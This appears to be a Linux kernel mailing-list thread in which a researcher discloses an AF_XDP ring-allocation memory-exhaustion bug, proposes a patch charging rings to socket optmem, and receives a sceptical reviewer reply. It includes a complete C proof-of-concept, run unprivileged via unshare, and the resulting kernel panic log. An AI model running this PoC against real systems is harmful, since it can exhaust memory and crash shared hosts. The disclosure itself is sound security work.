xsk: prevent AF_XDP ring resource exhaustion
Subsystems (4)
cover xsk: prevent AF_XDP ring resource exhaustion
Hi Linux kernel maintainers,
We found and validated a issue in net/xdp/xsk_queue.c. The bug is reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
AF_XDP sockets allow user space to allocate RX, TX, UMEM fill and UMEM completion rings with setsockopt(). xskq_create() only validates that the entry count is non-zero and a power of two before computing the ring size and calling vmalloc_user(). The allocation is not charged against the socket optmem limit. The underlying root cause dates back to the original shared xskq_create() helper used for UMEM fill rings, while later RX-ring support and the vmalloc-based ring allocation path only made the same bug easier to reach and more effective at pinning memory before bind or packet I/O.
The fix charges the page-aligned ring size to sk_omem_alloc before the vmalloc_user() call and bounds the charge by the namespace optmem limit. The charge path uses an atomic cmpxchg loop, rather than adding first and rolling back later, so concurrent allocations cannot race past the limit and the signed sk_omem_alloc counter cannot overflow and wrap below the limit.
UMEM fill and completion queues can move from the socket to the AF_XDP buffer pool and be destroyed after socket release. The queue therefore keeps a socket reference for safe uncharging. To avoid a release cycle where the queue reference prevents the socket destructor that used to release the pool, the socket now drops its pool and UMEM references from xsk_release() before the final socket put; xsk_destruct() keeps the same helper as a fallback.
This reproducer does not use packetdrill because the trigger is the AF_XDP setsockopt() ring allocation path, not a packet sequence or protocol state transition that packetdrill can express.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/if_xdp.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/sysinfo.h>
#include <unistd.h>
static void print_meminfo(const char *tag)
{
struct sysinfo info;
if (sysinfo(&info) == 0) {
unsigned long long total = (unsigned long long)info.totalram * info.mem_unit;
unsigned long long free = (unsigned long long)info.freeram * info.mem_unit;
unsigned long long avail = (unsigned long long)info.bufferram * info.mem_unit;
fprintf(stderr,
"%s: total=%llu MiB free=%llu MiB buff=%llu MiB\n",
tag, total >> 20, free >> 20, avail >> 20);
}
}static int set_ring(int fd, int optname, unsigned int entries, const char *name)
{
int ret;
ret = setsockopt(fd, SOL_XDP, optname, &entries, sizeof(entries));
if (ret) {
fprintf(stderr, "setsockopt(%s, %u) failed: %s\n",
name, entries, strerror(errno));
return -1;
}
fprintf(stderr, "allocated %s ring with %u entries on fd=%d\n",
name, entries, fd);
return 0;
}int main(int argc, char **argv)
{
static const struct {
int optname;
const char *name;
} rings[] = {
{ XDP_RX_RING, "XDP_RX_RING" },
{ XDP_TX_RING, "XDP_TX_RING" },
{ XDP_UMEM_FILL_RING, "XDP_UMEM_FILL_RING" },
{ XDP_UMEM_COMPLETION_RING, "XDP_UMEM_COMPLETION_RING" },
};
unsigned int entries = 1U << 25;
int nsockets = 8;
int *fds;
int i, j;
if (argc > 1)
entries = strtoul(argv[1], NULL, 0);
if (argc > 2)
nsockets = atoi(argv[2]);
if (!entries || !nsockets) {
fprintf(stderr, "usage: %s [entries power-of-two] [socket_count]\n",
argv[0]);
return 1;
}
fds = calloc(nsockets, sizeof(*fds));
if (!fds) {
perror("calloc");
return 1;
}
fprintf(stderr,
"AF_XDP ring exhaustion PoC: entries=%u sockets=%d pid=%d\n",
entries, nsockets, getpid());
print_meminfo("before");
for (i = 0; i < nsockets; i++) {
fds[i] = socket(AF_XDP, SOCK_RAW, 0);
if (fds[i] < 0) {
fprintf(stderr, "socket(AF_XDP) failed at index %d: %s\n",
i, strerror(errno));
break;
}
fprintf(stderr, "opened AF_XDP socket %d fd=%d\n", i, fds[i]);
for (j = 0; j < (int)(sizeof(rings) / sizeof(rings[0])); j++) {
if (set_ring(fds[i], rings[j].optname, entries, rings[j].name))
goto out;
print_meminfo(rings[j].name);
}
}out:
fprintf(stderr, "holding allocations open; press Ctrl-C or wait\n");
sleep(600);
for (i = 0; i < nsockets; i++) {
if (fds[i] >= 0)
close(fds[i]);
}
free(fds);
return 0;
}------END poc.c--------
----BEGIN crash log----
[ 112.547501][ T953] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled [ 112.548314][ T953] CPU: 2 UID: 1028 PID: 953 Comm: poc Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6 [ 112.549150][ T953] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 112.550090][ T953] Call Trace: [ 112.550346][ T953] <TASK> [ 112.550569][ T953] panic (kernel/panic.c:1101) [ 112.550876][ T953] ? __pfx_panic (include/linux/nmi.h:163) [ 112.551222][ T953] ? __pfx_lock_release+0x10/0x10 [ 112.551642][ T953] out_of_memory (mm/oom_kill.c:1193) [ 112.552013][ T953] ? __alloc_pages_slowpath.constprop.0+0xa0f/0x2800 [ 112.552538][ T953] ? __pfx_out_of_memory (mm/oom_kill.c:835) [ 112.552919][ T953] ? __pfx_mutex_trylock (kernel/locking/mutex.c:582 (discriminator 1)) [ 112.553335][ T953] __alloc_pages_slowpath.constprop.0+0x1eb8/0x2800 [ 112.553854][ T953] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220) [ 112.554295][ T953] ? __pfx___alloc_pages_slowpath.constprop.0+0x10/0x10 [ 112.554819][ T953] ? local_clock_noinstr (kernel/sched/clock.c:307 (discriminator 1)) [ 112.555214][ T953] ? lock_release+0x687/0xc90 [ 112.555584][ T953] ? __pfx___might_resched+0x10/0x10 [ 112.556006][ T953] __alloc_pages_noprof (mm/page_alloc.c:5221 (discriminator 1)) [ 112.556409][ T953] ? __pfx___alloc_pages_noprof (mm/page_alloc.c:4967) [ 112.556860][ T953] alloc_pages_mpol_noprof+0x1b1/0x430 [ 112.557289][ T953] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10 [ 112.557759][ T953] ? __pfx___might_resched+0x10/0x10 [ 112.558179][ T953] __vmalloc_node_range_noprof (include/linux/workqueue.h:699 include/linux/workqueue.h:760 mm/vmalloc.c:3801 mm/vmalloc.c:3941 mm/vmalloc.c:4082) [ 112.558628][ T953] ? xskq_create (include/linux/refcount.h:291 include/linux/refcount.h:366 include/linux/refcount.h:383 include/net/sock.h:839 net/xdp/xsk_queue.c:61) [ 112.558990][ T953] ? __pfx___vmalloc_node_range_noprof (mm/vmalloc.c:4143 (discriminator 2)) [ 112.559508][ T953] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220) [ 112.559950][ T953] ? xskq_create (include/linux/refcount.h:291 include/linux/refcount.h:366 include/linux/refcount.h:383 include/net/sock.h:839 net/xdp/xsk_queue.c:61) [ 112.560346][ T953] vmalloc_user_noprof (mm/vmalloc.c:4484 (discriminator 4)) [ 112.560731][ T953] ? xskq_create (include/linux/refcount.h:291 include/linux/refcount.h:366 include/linux/refcount.h:383 include/net/sock.h:839 net/xdp/xsk_queue.c:61) [ 112.561096][ T953] xskq_create (include/linux/refcount.h:291 include/linux/refcount.h:366 include/linux/refcount.h:383 include/net/sock.h:839 net/xdp/xsk_queue.c:61) [ 112.561434][ T953] xsk_setsockopt (net/xdp/xsk.c:1198) [ 112.561799][ T953] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220) [ 112.562227][ T953] ? aa_sk_perm+0x131/0x8a0 [ 112.562573][ T953] ? __pfx_xsk_setsockopt (include/linux/refcount.h:461) [ 112.562975][ T953] ? security_file_permission (security/security.c:2424 (discriminator 18)) [ 112.563420][ T953] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220) [ 112.563850][ T953] ? vfs_write (fs/read_write.c:799) [ 112.564222][ T953] do_sock_setsockopt (net/socket.c:395) [ 112.564610][ T953] ? __pfx_do_sock_setsockopt (net/socket.c:282 (discriminator 1)) [ 112.565046][ T953] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220) [ 112.565490][ T953] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220) [ 112.565926][ T953] ? __do_sys_sysinfo (kernel/sys.c:2202) [ 112.566333][ T953] ? __pfx___do_sys_sysinfo (kernel/sys.c:3073) [ 112.566758][ T953] __sys_setsockopt (net/socket.c:2396) [ 112.567144][ T953] __x64_sys_setsockopt (arch/x86/include/asm/compat.h:94 (discriminator 1) arch/x86/include/asm/compat.h:100 (discriminator 1) net/socket.c:2505 (discriminator 1)) [ 112.567538][ T953] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:220) [ 112.567967][ T953] ? trace_hardirqs_on+0x5b/0x110 [ 112.568366][ T953] do_syscall_64 (arch/x86/include/asm/entry-common.h:43 (discriminator 3) include/linux/irq-entry-common.h:100 (discriminator 3) include/linux/entry-common.h:174 (discriminator 3) arch/x86/entry/syscall_64.c:89 (discriminator 3)) [ 112.568721][ T953] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) [ 112.569187][ T953] RIP: 0033:0x7e2b01ae42ba [ 112.569541][ T953] Code: 48 83 ec 10 48 63 c9 48 63 ff 45 89 c9 6a 2c e8 fc d3 f7 ff 48 83 c4 18 c3 0f 1f 80 00 00 00 00 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 06 c3 0f 1f 44 00 00 48 8b 15 21 2b 0d 00 f7 All code ======== 0: 48 83 ec 10 sub $0x10,%rsp 4: 48 63 c9 movslq %ecx,%rcx 7: 48 63 ff movslq %edi,%rdi a: 45 89 c9 mov %r9d,%r9d d: 6a 2c push $0x2c f: e8 fc d3 f7 ff call 0xfffffffffff7d410 14: 48 83 c4 18 add $0x18,%rsp 18: c3 ret 19: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) 20: 49 89 ca mov %rcx,%r10 23: b8 36 00 00 00 mov $0x36,%eax 28: 0f 05 syscall 2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction 30: 77 06 ja 0x38 32: c3 ret 33: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
38: 48 8b 15 21 2b 0d 00 mov 0xd2b21(%rip),%rdx # 0xd2b60
3f: f7 .byte 0xf7
Code starting with the faulting instruction
===========================================
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax 6: 77 06 ja 0xe 8: c3 ret 9: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) e: 48 8b 15 21 2b 0d 00 mov 0xd2b21(%rip),%rdx # 0xd2b36 15: f7 .byte 0xf7 [ 112.571019][ T953] RSP: 002b:00007ffc66ef6958 EFLAGS: 00000283 ORIG_RAX: 0000000000000036 [ 112.571683][ T953] RAX: ffffffffffffffda RBX: 000055d2e378619e RCX: 00007e2b01ae42ba [ 112.572300][ T953] RDX: 0000000000000005 RSI: 000000000000011b RDI: 0000000000000003 [ 112.572901][ T953] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000 [ 112.573505][ T953] R10: 00007ffc66ef697c R11: 0000000000000283 R12: 000055d2e3787dc0 [ 112.574127][ T953] R13: 0000000004000000 R14: 00007ffc66ef697c R15: 0000000000000003 [ 112.574744][ T953] </TASK> [ 112.575596][ T953] Kernel Offset: disabled [ 112.575937][ T953] Rebooting in 10 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
xsk: charge ring allocations to socket optmem
net/xdp/xsk.c | 26 +++++++++++++++++++------- net/xdp/xsk_queue.c | 35 ++++++++++++++++++++++++++++++++++- net/xdp/xsk_queue.h | 7 +++++-- 3 files changed, 58 insertions(+), 10 deletions(-)
Signature · 1 line
2.43.0
PATCH 1/1 xsk: charge ring allocations to socket optmem
AF_XDP lets user space create RX, TX, fill and completion rings via setsockopt(). xskq_create() validates that the requested number of entries is non-zero and a power of two, but the resulting ring size is not charged to any socket memory limit before vmalloc_user() is called.
A process with CAP_NET_RAW in a network namespace can therefore request very large rings and pin a large amount of vmalloc memory through an AF_XDP socket. This can exhaust memory before bind or any packet I/O is required.
Charge the page-aligned ring size to sk_omem_alloc and bound the charge by the namespace optmem limit. Use an atomic cmpxchg loop so concurrent ring allocations cannot race past the limit or overflow the signed sk_omem_alloc counter.
Keep a socket reference with the queue, because UMEM fill and completion queues can be moved to the buffer pool and destroyed after socket release. Drop the socket reference to the pool and UMEM from xsk_release() before the final socket put, so pool destruction no longer depends on the socket destructor and the queue reference does not form a release cycle.
--- net/xdp/xsk.c | 26 +++++++++++++++++++------- net/xdp/xsk_queue.c | 35 ++++++++++++++++++++++++++++++++++- net/xdp/xsk_queue.h | 7 +++++-- 3 files changed, 58 insertions(+), 10 deletions(-)
net/xdp/xsk.c +19 -7
@@ -1446,15 +1446,15 @@ static __poll_t xsk_poll(struct file *file, struct socket *sock,return mask; } -static int xsk_init_queue (u32 entries,struct xsk_queue **queue, -bool umem_queue) +static int xsk_init_queue (struct sock *sk,u32 entries, +struct xsk_queue **queue,bool umem_queue) {struct xsk_queue *q;if (entries ==0 || *queue || !is_power_of_2 (entries))return -EINVAL ; - q =xskq_create (entries, umem_queue); + q =xskq_create (sk, entries, umem_queue);if (!q)return -ENOMEM ;
@@ -1498,6 +1498,18 @@ static struct xsk_map *xsk_get_map_list_entry(struct xdp_sock *xs,return map; } +static void xsk_put_pool_and_umem (struct xdp_sock *xs) +{ +struct xsk_buff_pool *pool = xs->pool; +struct xdp_umem *umem = xs->umem; + + xs->pool =NULL ; + xs->umem =NULL ; + +if (!xp_put_pool (pool)) +xdp_put_umem (umem, !pool); +} +static void xsk_delete_from_maps (struct xdp_sock *xs) {/* This function removes the current XDP socket from all the
@@ -1553,6 +1565,7 @@ static int xsk_release(struct socket *sock)xskq_destroy (xs->tx);xskq_destroy (xs->fq_tmp);xskq_destroy (xs->cq_tmp); +xsk_put_pool_and_umem (xs);sock_orphan (sk); sock->sk =NULL ;
@@ -1810,7 +1823,7 @@ static int xsk_setsockopt(struct socket *sock, int level, int optname,return -EBUSY ; } q = (optname ==XDP_TX_RING ) ? &xs->tx : &xs->rx; - err =xsk_init_queue (entries, q, false); + err =xsk_init_queue (sock->sk, entries, q, false);if (!err && optname ==XDP_TX_RING )/* Tx needs to be explicitly woken up the first time */ xs->tx->ring->flags |=XDP_RING_NEED_WAKEUP ;
@@ -1879,7 +1892,7 @@ static int xsk_setsockopt(struct socket *sock, int level, int optname, q = (optname ==XDP_UMEM_FILL_RING ) ? &xs->fq_tmp : &xs->cq_tmp; - err =xsk_init_queue (entries, q, true); + err =xsk_init_queue (sock->sk, entries, q, true);mutex_unlock (&xs->mutex);return err; }
@@ -2156,8 +2169,7 @@ static void xsk_destruct(struct sock *sk)if (!sock_flag (sk,SOCK_DEAD ))return ; -if (!xp_put_pool (xs->pool)) -xdp_put_umem (xs->umem, !xs->pool); +xsk_put_pool_and_umem (xs); } static int xsk_create(struct net *net, struct socket *sock, int protocol,
net/xdp/xsk_queue.c +34 -1
@@ -7,6 +7,7 @@#include <linux/slab.h> #include <linux/overflow.h> #include <linux/vmalloc.h> +#include <net/sock.h> #include <net/xdp_sock_drv.h> #include "xsk_queue.h"
@@ -21,7 +22,25 @@ static size_t xskq_get_ring_size(struct xsk_queue *q, bool umem_queue)return struct_size (rxtx_ring, desc, q->nentries); } -struct xsk_queue *xskq_create (u32 nentries,bool umem_queue) +static bool xskq_charge (struct sock *sk,size_t size) +{ +int optmem_max =READ_ONCE (sock_net (sk)->core.sysctl_optmem_max); +int old, new; + +if (optmem_max <=0 || size > optmem_max) +return false; + +do { + old =atomic_read (&sk->sk_omem_alloc); +if (old <0 || old > optmem_max - (int )size) +return false; + new = old + (int )size; + }while (atomic_cmpxchg (&sk->sk_omem_alloc, old, new) != old); + +return true; +} + +struct xsk_queue *xskq_create (struct sock *sk,u32 nentries,bool umem_queue) {struct xsk_queue *q;size_t size;
@@ -45,9 +64,18 @@ struct xsk_queue *xskq_create(u32 nentries, bool umem_queue) } size =PAGE_ALIGN (size); +if (!xskq_charge (sk, size)) { +kfree (q); +return NULL ; + } + +sock_hold (sk); + q->sk = sk; q->ring =vmalloc_user (size);if (!q->ring) { +atomic_sub ((int )size, &sk->sk_omem_alloc); +sock_put (sk);kfree (q);return NULL ; }
@@ -61,6 +89,11 @@ void xskq_destroy(struct xsk_queue *q)if (!q)return ; +if (q->sk) { +atomic_sub ((int )q->ring_vmalloc_size, &q->sk->sk_omem_alloc); +sock_put (q->sk); + } +vfree (q->ring);kfree (q); }
net/xdp/xsk_queue.h +5 -2
@@ -37,6 +37,8 @@ struct xdp_umem_ring {u64 desc[]____cacheline_aligned_in_smp ; }; +struct sock ; +struct xsk_queue {u32 ring_mask;u32 nentries;
@@ -46,6 +48,7 @@ struct xsk_queue {u64 invalid_descs;u64 queue_empty_descs;size_t ring_vmalloc_size; +struct sock *sk;/* Mutual exclusion of the completion ring in the SKB mode. * Protect: when sockets share a single cq when the same netdev * and queue id is shared.
@@ -531,7 +534,7 @@ static inline u64 xskq_nb_queue_empty_descs(struct xsk_queue *q) return q ? q->queue_empty_descs : 0; } -struct xsk_queue *xskq_create (u32 nentries,bool umem_queue); -void xskq_destroy (struct xsk_queue *q_ops); +struct xsk_queue *xskq_create (struct sock *sk,u32 nentries,bool umem_queue); +void xskq_destroy (struct xsk_queue *q);#endif /* _LINUX_XSK_QUEUE_H */
Signature · 1 line
2.43.0
Quoted 157 lines · Zihan Xi
Hi Linux kernel maintainers,
We found and validated a issue in
net/xdp/xsk_queue.c. The bug is reachable by a non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
AF_XDPsockets allow user space to allocate RX, TX, UMEM fill and UMEM completion rings withsetsockopt().xskq_create()only validates that the entry count is non-zero and a power of two before computing the ring size and callingvmalloc_user(). The allocation is not charged against the socket optmem limit. The underlying root cause dates back to the original sharedxskq_create()helper used for UMEM fill rings, while later RX-ring support and the vmalloc-based ring allocation path only made the same bug easier to reach and more effective at pinning memory before bind or packet I/O.The fix charges the page-aligned ring size to
sk_omem_allocbefore thevmalloc_user()call and bounds the charge by the namespace optmem limit. The charge path uses an atomic cmpxchg loop, rather than adding first and rolling back later, so concurrent allocations cannot race past the limit and the signedsk_omem_alloccounter cannot overflow and wrap below the limit.UMEM fill and completion queues can move from the socket to the
AF_XDPbuffer pool and be destroyed after socket release. The queue therefore keeps a socket reference for safe uncharging. To avoid a release cycle where the queue reference prevents the socket destructor that used to release the pool, the socket now drops its pool and UMEM references fromxsk_release()before the final socket put;xsk_destruct()keeps the same helper as a fallback.This reproducer does not use packetdrill because the trigger is the
AF_XDPsetsockopt()ring allocation path, not a packet sequence or protocol state transition that packetdrill can express.Reproducer:
gcc -O2 -static -o poc
poc.c
unshare -Urn ./pocWe run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define_GNU_SOURCE
#include <errno.h>
#include <linux/if_xdp.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/sysinfo.h>
#include <unistd.h>static void
print_meminfo(const char *tag){ struct sysinfo info; if (sysinfo(&info) == 0) { unsigned long long total = (unsigned long long)info.totalram * info.mem_unit; unsigned long long free = (unsigned long long)info.freeram * info.mem_unit; unsigned long long avail = (unsigned long long)info.bufferram * info.mem_unit; fprintf(stderr, "%s: total=%llu MiB free=%llu MiB buff=%llu MiB\n", tag, total >> 20, free >> 20, avail >> 20); } }static int
set_ring(int fd, int optname, unsigned int entries, const char *name){ int ret; ret = setsockopt(fd, SOL_XDP, optname, &entries, sizeof(entries)); if (ret) { fprintf(stderr, "setsockopt(%s, %u) failed: %s\n", name, entries, strerror(errno)); return -1; } fprintf(stderr, "allocated %s ring with %u entries on fd=%d\n", name, entries, fd); return 0; }int
main(int argc, char **argv){ static const struct { int optname; const char *name; } rings[] = { { XDP_RX_RING, "XDP_RX_RING" }, { XDP_TX_RING, "XDP_TX_RING" }, { XDP_UMEM_FILL_RING, "XDP_UMEM_FILL_RING" }, { XDP_UMEM_COMPLETION_RING, "XDP_UMEM_COMPLETION_RING" }, }; unsigned int entries = 1U << 25; int nsockets = 8; int *fds; int i, j; if (argc > 1) entries = strtoul(argv[1], NULL, 0); if (argc > 2) nsockets = atoi(argv[2]); if (!entries || !nsockets) { fprintf(stderr, "usage: %s [entries power-of-two] [socket_count]\n", argv[0]); return 1; } fds = calloc(nsockets, sizeof(*fds)); if (!fds) { perror("calloc"); return 1; } fprintf(stderr, "AF_XDP ring exhaustion PoC: entries=%u sockets=%d pid=%d\n", entries, nsockets, getpid()); print_meminfo("before"); for (i = 0; i < nsockets; i++) { fds[i] = socket(AF_XDP, SOCK_RAW, 0); if (fds[i] < 0) { fprintf(stderr, "socket(AF_XDP) failed at index %d: %s\n", i, strerror(errno)); break; } fprintf(stderr, "opened AF_XDP socket %d fd=%d\n", i, fds[i]); for (j = 0; j < (int)(sizeof(rings) / sizeof(rings[0])); j++) { if (set_ring(fds[i], rings[j].optname, entries, rings[j].name)) goto out; print_meminfo(rings[j].name); } }out:
fprintf(stderr, "holding allocations open; press Ctrl-C or wait\n"); sleep(600); for (i = 0; i < nsockets; i++) { if (fds[i] >= 0) close(fds[i]); } free(fds); return 0; }------END poc.c--------
----BEGIN crash log----
[..]
Quoted 1 line
[ 112.547501][ T953] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
Isn't it all working as intended? The userspace requests too much, we hit oom. Since you seem to have "system-wide panic_on_oom is enabled" your kernel panics.
I also looked at the fix and a bit confused about why you picked sysctl_optmem_max as a limit. I believe there are better mechanisms (memcg) to limit these types of allocations? (and they work by default, no need for any code changes)